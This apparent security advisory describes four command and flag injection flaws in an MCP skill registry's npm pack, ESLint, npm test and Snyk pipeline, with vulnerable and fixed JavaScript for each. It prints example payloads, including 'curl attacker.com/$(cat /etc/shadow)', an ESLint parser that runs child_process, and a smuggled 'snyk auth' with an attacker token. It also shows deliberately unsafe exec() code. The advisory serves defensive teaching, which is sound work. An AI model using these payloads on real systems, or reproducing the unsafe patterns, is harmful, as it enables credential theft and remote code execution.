SA-SKL-INJECTION21 — Code Injection
Code Injection in MCP Skill Registry npm Package Analysis and Static Scanner Execution
The npm package analysis and static scanner execution pipeline in an MCP skill registry invokes external tools — npm pack, ESLint, npm test, Snyk — using shell strings interpolated with user-controlled paths. SA-SKL-INJECTION21 covers four code injection vulnerabilities in this pipeline where shell metacharacter injection, flag injection, and argument injection allow attackers to bypass packaging, achieve remote code execution via attacker-controlled linter configuration, inject arbitrary shell commands through directory paths, and re-authenticate external security scanners to attacker-controlled accounts.
exec(`npm pack ${packagePath}`) with packagePath from submitted archive — attacker packagePath includes --dry-run flag; no tarball produced; audit proceeds against unpackaged source; fix: execFile() with arg array + -- + validate path within sandboxexec(`eslint --config ${configPath} ${targetDir}`) with configPath from submission — attacker configPath ../../evil/.eslintrc.js loads attacker ESLint config with parser:require('child_process') achieving RCE; fix: execFile() + -- + validate configPath within sandboxexec(`cd ${repoDir} && npm test`) chained command with repoDir from submission — attacker repoDir includes ; curl attacker.com/$(cat /etc/shadow) achieving command injection; fix: execFile(['npm', 'test'], {cwd: sandboxDir}) without shell; UUID sandbox direxec(`snyk test --file ${manifestPath}`) with manifestPath from submission — attacker manifestPath ; snyk auth attacker-token re-auths Snyk to attacker account; all future scans authenticated as attacker; fix: execFile() + -- + validate path within sandboxINJECTION21-001 — npm pack flag injection via packagePath bypasses packaging
The audit engine packages submitted skill archives using npm pack before static analysis, to ensure the analysis runs on the same code that would be published to the registry. The packagePath is taken from the submitted archive's declared path and interpolated directly into a shell command string. An attacker can submit an archive with a packagePath value that includes flag arguments (e.g., --dry-run --ignore-scripts /malicious/path). The --dry-run flag causes npm pack to output what it would do without actually creating the tarball. The audit engine then runs static analysis against the original unpackaged path, which the attacker controls and can populate with arbitrary content that differs from the publishable package output.
// INJECTION21-001 — VULNERABLE
// exec() with interpolated packagePath — flag injection disables actual packing.
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
async function packSkillArchive(packagePath) {
// VULNERABLE: packagePath interpolated into shell string — flag injection possible
const { stdout } = await execAsync(`npm pack ${packagePath}`);
return stdout.trim(); // dry-run: stdout is "package-name-1.0.0.tgz" but no file created
}
// Attacker packagePath: "--dry-run /sandbox/evil-unpackaged-code"
// exec: npm pack --dry-run /sandbox/evil-unpackaged-code
// npm outputs filename but creates no tarball — audit runs on unpackaged evil code
Fix: Replace exec() with execFile() and pass arguments as an array. Use -- as an end-of-options separator before the path argument so that any leading dash in the path is treated as a literal path character, not a flag. Validate that packagePath resolves within the submission sandbox directory before invoking any subprocess.
// INJECTION21-001 — FIXED
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);
async function packSkillArchive(packagePath, sandboxDir) {
const resolved = path.resolve(sandboxDir, packagePath);
if (!resolved.startsWith(path.resolve(sandboxDir) + path.sep)) {
throw new Error('packagePath escapes sandbox');
}
// execFile() — no shell, arguments are array, -- prevents flag injection
const { stdout } = await execFileAsync('npm', ['pack', '--', resolved], {
cwd: sandboxDir,
env: { ...process.env, npm_config_ignore_scripts: 'true' }
});
return stdout.trim();
}
INJECTION21-002 — ESLint --config flag injection loads attacker parser achieving RCE
The static analysis stage runs ESLint against the submitted skill source code using a platform-managed configuration file. The configPath is derived from the submission metadata and interpolated into a shell command string passed to exec(). An attacker can craft a submission with a configPath that traverses outside the sandbox directory (e.g., ../../attacker-uploaded/.eslintrc.js). The attacker's .eslintrc.js declares a custom parser that uses require('child_process') and executes arbitrary shell commands during the parsing phase. ESLint loads and executes the custom parser during linting, achieving full remote code execution in the audit worker process.
// INJECTION21-002 — VULNERABLE
// exec() with interpolated configPath — attacker config loads RCE parser.
async function runEslint(targetDir, configPath) {
// VULNERABLE: configPath interpolated into shell string — path traversal to attacker .eslintrc.js
const { stdout } = await execAsync(`eslint --config ${configPath} ${targetDir}`);
return parseEslintOutput(stdout);
}
// Attacker configPath: "../../attacker-uploaded/.eslintrc.js"
// .eslintrc.js: { parser: require('child_process').execSync('curl attacker.com/$(id)') && './fake-parser' }
// ESLint executes the parser declaration during load — RCE in audit worker
Fix: Use execFile() with an argument array and -- separator. Validate that configPath resolves within the platform-managed configuration directory, never within user-controlled paths. Use a fixed, platform-managed ESLint configuration rather than allowing user-supplied configuration files. Run ESLint in a separate worker process or container with no network access and no access to credentials or sensitive files.
// INJECTION21-002 — FIXED
const PLATFORM_ESLINT_CONFIG = path.resolve('/app/config/eslint/platform.eslintrc.json');
async function runEslint(targetDir, sandboxDir) {
const resolvedTarget = path.resolve(sandboxDir, targetDir);
if (!resolvedTarget.startsWith(path.resolve(sandboxDir) + path.sep)) {
throw new Error('targetDir escapes sandbox');
}
// Fixed platform config — never user-supplied configPath
// execFile() with array args — no shell, -- prevents flag injection
const { stdout, stderr } = await execFileAsync('npx', [
'eslint', '--config', PLATFORM_ESLINT_CONFIG,
'--format', 'json', '--', resolvedTarget
], {
cwd: sandboxDir,
timeout: 30000,
env: { PATH: process.env.PATH } // minimal env — no credentials
});
return parseEslintOutput(stdout);
}
INJECTION21-003 — npm test chained command injection via repoDir
The test execution stage runs npm test in the submitted skill repository to validate that the skill's test suite passes before audit. The shell command is constructed as `cd ${repoDir} && npm test`, where repoDir is the path to the extracted submission directory. Because exec() passes the string to a shell, any shell metacharacters in repoDir are interpreted. An attacker can craft a submission whose extracted directory name contains a shell command chain: ; curl attacker.com/$(cat /etc/shadow) ; echo -n. The shell interprets the semicolons as command separators, executing the injected command before continuing with npm test.
// INJECTION21-003 — VULNERABLE
// exec() with chained cd && npm test — repoDir shell metacharacter injection.
async function runSkillTests(repoDir) {
// VULNERABLE: repoDir in shell string — semicolon injection chains arbitrary commands
const { stdout, stderr } = await execAsync(`cd ${repoDir} && npm test`);
return parseTestOutput(stdout);
}
// Attacker submission extracts to dir named:
// "/sandbox/subm123; curl attacker.com/$(cat /etc/shadow); echo -n"
// Shell executes: cd /sandbox/subm123 ; curl attacker.com/$(cat /etc/shadow) ; echo -n ; npm test
Fix: Never use exec() with a shell string for subprocess execution. Use execFile() with the command and arguments as an array and set cwd to the sandbox directory — this avoids the need for a cd command entirely. Use a UUID-named sandbox directory (not a user-controlled name) so that the directory path contains no special characters. Set shell: false explicitly on all spawn/execFile calls.
// INJECTION21-003 — FIXED
const crypto = require('crypto');
async function runSkillTests(sandboxDir) {
// sandboxDir is UUID-named: /sandbox/uuid-generated — no user-controlled name
// execFile() with cwd — no shell, no cd command, no metacharacter interpretation
const { stdout, stderr } = await execFileAsync('npm', ['test', '--', '--reporter=json'], {
cwd: sandboxDir, // set cwd directly — no cd in shell string
shell: false, // explicit: no shell
timeout: 60000,
env: { PATH: process.env.PATH, NODE_ENV: 'test' } // minimal env
});
return parseTestOutput(stdout);
}
// Sandbox creation: always use UUID directory names
function createSandboxDir() {
const id = crypto.randomUUID();
const dir = path.join('/sandbox', id); // e.g., /sandbox/550e8400-e29b-41d4-a716-446655440000
fs.mkdirSync(dir, { recursive: true });
return dir;
}
INJECTION21-004 — Snyk test flag injection re-authenticates to attacker account
The dependency vulnerability scan stage runs snyk test against the submitted skill's manifest file to check for known CVEs. The manifestPath is derived from the submission and interpolated into a shell command string passed to exec(). An attacker can submit a manifest path that includes Snyk CLI arguments: ; snyk auth ATTACKER_API_TOKEN; npm show snyk. The shell executes snyk auth with the attacker's token, re-authenticating the shared Snyk CLI instance to the attacker's Snyk organization. All subsequent scans run by the audit worker are now authenticated as the attacker, sending all future skill dependency scan results to the attacker's Snyk account.
// INJECTION21-004 — VULNERABLE
// exec() with interpolated manifestPath — snyk auth flag injection re-auths to attacker.
async function runSnykTest(manifestPath) {
// VULNERABLE: manifestPath in shell string — semicolon injection runs snyk auth
const { stdout } = await execAsync(`snyk test --file ${manifestPath}`);
return parseSnykOutput(stdout);
}
// Attacker manifestPath: "; snyk auth snyk_attacker_api_token_here; echo package.json"
// Shell executes: snyk test --file ; snyk auth snyk_attacker_api_token ; echo package.json
// Shared snyk CLI re-authed to attacker account — all future scans go to attacker org
Fix: Use execFile() with an argument array and -- separator. Validate that manifestPath resolves to a known manifest filename (package.json, package-lock.json, yarn.lock) within the sandbox directory. Set the SNYK_TOKEN environment variable explicitly in the subprocess env rather than relying on a shared authenticated CLI state — each scan should use a service account token from a secrets manager, not a user-authenticated session.
// INJECTION21-004 — FIXED
const ALLOWED_MANIFEST_NAMES = new Set(['package.json', 'package-lock.json', 'yarn.lock', 'pnpm-lock.yaml']);
async function runSnykTest(sandboxDir, manifestFilename) {
// Validate manifest filename against allowlist — no path traversal, no flags
if (!ALLOWED_MANIFEST_NAMES.has(path.basename(manifestFilename))) {
throw new Error(`Manifest file not in allowlist: ${manifestFilename}`);
}
const manifestPath = path.join(sandboxDir, path.basename(manifestFilename));
if (!fs.existsSync(manifestPath)) throw new Error('Manifest file not found in sandbox');
// execFile() with array args, -- separator, explicit SNYK_TOKEN from secrets manager
const { stdout } = await execFileAsync('snyk', [
'test', '--json', '--file', '--', manifestPath
], {
cwd: sandboxDir,
env: {
PATH: process.env.PATH,
SNYK_TOKEN: await secrets.get('SNYK_SERVICE_ACCOUNT_TOKEN') // per-scan token from vault
}
});
return parseSnykOutput(stdout);
}
Summary
| Finding | Pattern | Severity | Fix |
|---|---|---|---|
| INJECTION21-001 | exec(`npm pack ${packagePath}`) — flag injection disables packaging | HIGH | execFile() + -- + validate path within sandbox |
| INJECTION21-002 | exec(`eslint --config ${configPath}`) — attacker config loads RCE parser | CRITICAL | execFile() + fixed platform config + validate path; no user-supplied config |
| INJECTION21-003 | exec(`cd ${repoDir} && npm test`) — semicolon command injection via directory name | CRITICAL | execFile() + cwd option + UUID sandbox dir + shell: false |
| INJECTION21-004 | exec(`snyk test --file ${manifestPath}`) — flag injection re-auths Snyk to attacker | HIGH | execFile() + -- + filename allowlist + per-scan SNYK_TOKEN from vault |
Related: SA-SKL-INJECTION20 (CI/CD GitHub Actions pipeline code injection), SA-SKL-INJECTION19 (skill preview sandbox execution code injection). Run SkillAudit to detect all INJECTION21 patterns in your MCP skill registry.